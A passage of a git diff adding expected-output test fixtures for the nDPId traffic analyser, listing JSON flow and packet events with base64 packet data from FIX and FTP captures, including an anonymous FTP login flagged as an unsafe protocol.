+00415{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755120,"pkt_ts_usec":342216,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAouA9AAEAGhgvAqAAU0PVrA5b8D6BaeT7tM03gYVAQ\/GxjAAAAAAAAAAAA"} +00459{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755121,"pkt_ts_usec":956904,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP7\/4AADIGm\/XQ9WsDwKgAFA+glvYLJrDIYuT9jlAYYmg0zgAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00528{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755121,"pkt_ts_usec":957198,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB9POhAAEAGAN7AqAAU0PVrA5b2D6Bi5P2OCyaw71AY\/Gxo9QAAOD1GSVhDT01QATk9NzABeJwFwbENgDAQA0D9QET25y2SSG6R2ICWho6G\/Qvuho\/zatUY00ApuozoZVCjK5ROcIeQG+fSWMUg08\/9vUGYqvgB3WAN1A=="} +00404{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":637,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755122,"pkt_ts_usec":6831,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo7\/8AADIGnBvQ9WsDwKgAFA+glvYLJrDvYuT941AQYmiNQgAA"} +00458{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755123,"pkt_ts_usec":354249,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP8tgAADIGmRvQ9WsDwKgAFA+gmLZKUJF1QJIHxlAYWpQzJgAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00417{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755123,"pkt_ts_usec":354368,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoGPBAAEAGJSvAqAAU0PVrA5i2D6BAkgfGSlCRnFAQ\/\/\/mgwAAAAAAAAAA"} +00530{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755123,"pkt_ts_usec":354617,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB+GPFAAEAGJNTAqAAU0PVrA5i2D6BAkgfGSlCRnFAY\/\/9R8AAAOD1GSVhDT01QATk9NzEBeJwNyDkOgDAQA0Dtg4jsTawcklskfkBLQ0fD\/wuYcob34yytMKaBpqgyojaD6i1D6QQ7hNw4l8b6k0zf1\/sEYSrjA9z4DdA="} +00407{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755123,"pkt_ts_usec":449395,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo8tkAADIGmUHQ9WsDwKgAFA+gmLZKUJGcQJIIHFAQWpSLmQAA"} +00531{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755124,"pkt_ts_usec":508741,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"ACJNe\/gxTHK5MeMlCABFAACB4CFAAEAGe2nAqAAUCBEWH7tQD6DrumQznOhHsYAY\/+AODgAAAQEICrFzxsTKvkvDOD1GSVhDT01QATk9NjIBeJwNx8kNgEAMA0C5IFbOYUhWyheJDui\/Epjf1NzPu3IZesg4ERoi8o+6C\/Jx2kXRD+ut2hkwDlP4AGY7C2Y="} +00424{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755124,"pkt_ts_usec":531037,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0WgIAAPUGjNUIERYfwKgAFA+gu1Cc6Eex67pkgIAQ\/\/\/yzwAAAQEICsq+YkSxc8bE"} +00517{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":830,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755125,"pkt_ts_usec":303381,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"THK5MeMlACJNe\/gxCABFAAB5VAEAADIGN8nQ9WsDwKgAFA+glvwzTeBhWnk+7VAYb95DkwAAOD1PATk9MDA3MAEzNT1HAQH4AAAABVkI5PAMFeEj0FAIUAATooLxAAAABFkI5PAMFVZg8BAAEAATioAAAAAABlkI5PAMW+1AkFAIUAQTiYPo"} +00415{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":832,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755125,"pkt_ts_usec":303528,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAouBBAAEAGhgrAqAAU0PVrA5b8D6BaeT7tM03gslAQ\/GxirwAAAAAAAAAA"} +00458{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":912,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755126,"pkt_ts_usec":663369,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP0iEAAC8GyOrZwFYgwKgAFA+g0FJoqdcVF+2lRlAYRRhESQAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00414{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":913,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755126,"pkt_ts_usec":663551,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAoLuJAAEAGG1HAqAAU2cBWINBSD6AX7aVGaKnXPFAQhgBcKgAAAAAAAAAA"} +00527{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755126,"pkt_ts_usec":663710,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB+LuNAAEAGGvrAqAAU2cBWINBSD6AX7aVGaKnXPFAYhgAJXwAAOD1GSVhDT01QATk9NzEBeJwNyjkOgDAQA0Dtg0D2JlYOyS0SP6CloaPh\/wWZerqP89rrzhgGqqLIiFINqhWF0gk2CLlxTPW5Dpl+7u8NwqvFD92FDdo="} +00407{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":927,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755126,"pkt_ts_usec":832794,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo0iIAAC8GyRDZwFYgwKgAFA+g0FJoqdc8F+2lnFAQRRicvAAA"} +00480{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755127,"pkt_ts_usec":668555,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbJlQAAPUGwFwIERYfwKgAFA+gn+AbjTYjbvFFOIAY\/\/\/+PgAAAQEICsq+boVyD9\/zOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00545{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":981,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755127,"pkt_ts_usec":668953,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"ACJNe\/gxTHK5MeMlCABFAACJ1y1AAEAGhFXAqAAUCBEWH5\/gD6Bu8UU4G402SoAY\/+A6TgAAAQEICnIP66zKvm6FOD1GSVhDT01QATk9NzABeJwFwbENgDAMBEB5IKJ\/xx+cSG6R2ICWho6G\/Qvuso7zatFos4CQdRWsR4FKTZOXgzsE3ziXcsUw0uu5v9eI4pD93qsN4Q=="} +00424{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755127,"pkt_ts_usec":687637,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0LuoAAPUGt+0IERYfwKgAFA+gn+AbjTZKbvFFjYAQ\/\/9K5gAAAQEICsq+bplyD+us"} +00459{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755128,"pkt_ts_usec":24156,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABPVAIAADIGN\/LQ9WsDwKgAFA+glvwzTeCyWnk+7VAYb96WTQAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00415{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755128,"pkt_ts_usec":24352,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ACJNe\/gxTHK5MeMlCABFAAAouBFAAEAGhgnAqAAU0PVrA5b8D6BaeT7tM03g2VAQ\/GxiiAAAAAAAAAAA"} +00528{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1011,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755128,"pkt_ts_usec":24535,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB+uBJAAEAGhbLAqAAU0PVrA5b8D6BaeT7tM03g2VAY\/GxXfgAAOD1GSVhDT01QATk9NzEBeJwFwbENgDAMBEB5IKJ\/x8ZJpG+R2ICWho6G\/Qvuho7zatFoU0Ck9RSsh8AcvSxdDhYSvnGuHCvKSNdzf68R4u72A94ZDds="} +00518{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755128,"pkt_ts_usec":771523,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"THK5MeMlACJNe\/gxCABFAAB3Er4AAPUG09YIERYfwKgAFA+gu1Cc6Eex67pkgIAY\/\/9PzwAAAQEICsq+ctSxc8bEOD1GSVguNC4xATk9MDAwMDQxATM1PTABMzQ9MDA2MTI5ATQzPU4BNTI9MjAxNzA1MDItMTk6NTg6NDgBMTA9MTE2AQ=="} +00424{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755128,"pkt_ts_usec":771684,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04CJAAEAGe7XAqAAUCBEWH7tQD6DrumSAnOhH9IAQ\/+DdHAAAAQEICrFzy8PKvnLU"} +00479{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1098,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755129,"pkt_ts_usec":699818,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"THK5MeMlACJNe\/gxCABFAABbipgAAPUGXBgIERYfwKgAFA+gu1oMn5lwfDaok4AY\/\/\/tTwAAAQEICsq+dnUaP2BJOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00543{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1099,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755129,"pkt_ts_usec":700163,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ACJNe\/gxTHK5MeMlCABFAACK7JhAAEAGbunAqAAUCBEWH7taD6B8NqiTDJ+Zl4AYhgDaIQAAAQEICho\/bAjKvnZ1OD1GSVhDT01QATk9NzEBeJwNx7ENgDAMBED9QER+x684kdwisQEtDR0N+xdw3WXtx9miEbPMQugqQ48\/ihGQlxuHyXzjXMoVCdLrvt4HtKImPt2SDd4="} +00425{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1102,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755129,"pkt_ts_usec":718121,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"THK5MeMlACJNe\/gxCABFAAA0knoAAPUGVF0IERYfwKgAFA+gu1oMn5mXfDao6YAQ\/\/858gAAAQEICsq+docaP2wI"} +00459{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1243,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755131,"pkt_ts_usec":957249,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"THK5MeMlACJNe\/gxCABFAABP8AAAADIGm\/PQ9WsDwKgAFA+glvYLJrDvYuT941AYYmg0UgAAOD1GSVguNC4xATk9MDAwMTQBMzU9MQExMTI9ZmFybQExMD0yMTcB"} +00527{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1244,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755131,"pkt_ts_usec":957560,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ACJNe\/gxTHK5MeMlCABFAAB9POlAAEAGAN3AqAAU0PVrA5b2D6Bi5P3jCyaxFlAY\/GwoNwAAOD1GSVhDT01QATk9NzABeJwFwbENgDAQA0D9QET2Jw5JJLdIbEBLQ0fD\/gV3w8d5lVYY00BTVBlRm0GN2kPpBHcIuXEujSUGmX7u7w3CVI8f3Z4N2A=="} +00405{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1247,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755132,"pkt_ts_usec":7515,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"THK5MeMlACJNe\/gxCABFAAAo8AEAADIGnBnQ9WsDwKgAFA+glvYLJrEWYuT+OFAQYmiMxgAA"} diff --git a/test/results/ftp.pcap.out b/test/results/ftp.pcap.out new file mode 100644 index 000000000..815e939fa --- /dev/null +++ b/test/results/ftp.pcap.out @@ -0,0 +1,45 @@ +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ftp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1552590234892,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.212","dst_ip":"90.130.70.73","src_port":50694,"dst_port":21,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":892296,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2xCwDBkn+CABFAABAAABAAEAGAADAqAHUWoJGScYGABWjI5ftAAAAALAC\/\/9jegAAAgQFtAEDAwUBAQgKO1eYmQAAAAAEAgAA"} +00431{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":919708,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA8AABAADYG4XRagkZJwKgB1AAVxgZYKsHSoyOX7qASqbA+KAAAAgQFrAQCCAoSZ\/tNO1eYmQEDAw4="} +00419{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":919816,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFAAA0AABAAEAGAADAqAHUWoJGScYGABWjI5fuWCrB04AQECxjbgAAAQEICjtXmLQSZ\/tN"} +00446{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":948716,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xCwDBkn+EBMx8Tl2CABFAABIOodAADYGpuFagkZJwKgB1AAVxgZYKsHToyOX7oAYAAO8UwAAAQEIChJn+1Q7V5i0MjIwICh2c0ZUUGQgMy4wLjMpDQo="} +00419{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":948828,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFEAA0AABAAEAGAADAqAHUWoJGScYGABWjI5fuWCrB54AQECtjbgAAAQEICjtXmNESZ\/tU"} +00443{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":949354,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2xCwDBkn+CABFEABEAABAAEAGAADAqAHUWoJGScYGABWjI5fuWCrB54AYECtjfgAAAQEICjtXmNESZ\/tUVVNFUiBhbm9ueW1vdXMNCg=="} +00419{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":976376,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA0OohAADYGpvRagkZJwKgB1AAVxgZYKsHnoyOX\/oAQAAMWNwAAAQEIChJn+1s7V5jR"} +00469{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":976691,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"xCwDBkn+EBMx8Tl2CABFAABWOolAADYGptFagkZJwKgB1AAVxgZYKsHnoyOX\/oAYAAPO6wAAAQEIChJn+1s7V5jRMzMxIFBsZWFzZSBzcGVjaWZ5IHRoZSBwYXNzd29yZC4NCg=="} +00419{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":976755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFEAA0AABAAEAGAADAqAHUWoJGScYGABWjI5f+WCrCCYAQECpjbgAAAQEICjtXmOwSZ\/tb"} +00441{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590234,"pkt_ts_usec":976972,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"EBMx8Tl2xCwDBkn+CABFEABBAABAAEAGAADAqAHUWoJGScYGABWjI5f+WCrCCYAYECpjewAAAQEICjtXmOwSZ\/tbUEFTUyBOY0ZUUEANCg=="} +00419{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590235,"pkt_ts_usec":45752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA0OopAADYGpvJagkZJwKgB1AAVxgZYKsIJoyOYC4AQAAMV2wAAAQEIChJn+207V5js"} +00451{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590235,"pkt_ts_usec":66945,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xCwDBkn+EBMx8Tl2CABFAABLOotAADYGptpagkZJwKgB1AAVxgZYKsIJoyOYC4AYAAM0PgAAAQEIChJn+3I7V5jsMjMwIExvZ2luIHN1Y2Nlc3NmdWwuDQo="} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"ftp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":12,"flow_first_seen":1552590234892,"flow_last_seen":1552590235066,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":32,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.212","dst_ip":"90.130.70.73","src_port":50694,"dst_port":21,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"FTP_CONTROL","breed":"Unsafe","category":"Download-FileTransfer-FileSharing"},"ftp": {"user":"anonymous","password":"NcFTP@","auth_failed":0}} +00420{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590235,"pkt_ts_usec":67019,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFEAA0AABAAEAGAADAqAHUWoJGScYGABWjI5gLWCrCIIAQECljbgAAAQEICjtXmUUSZ\/ty"} +00428{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590235,"pkt_ts_usec":67325,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"EBMx8Tl2xCwDBkn+CABFEAA5AABAAEAGAADAqAHUWoJGScYGABWjI5gLWCrCIIAYECljcwAAAQEICjtXmUUSZ\/tyUFdEDQo="} +00419{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590235,"pkt_ts_usec":94015,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA0OoxAADYGpvBagkZJwKgB1AAVxgZYKsIgoyOYEIAQAAMVWgAAAQEIChJn+3k7V5lF"} 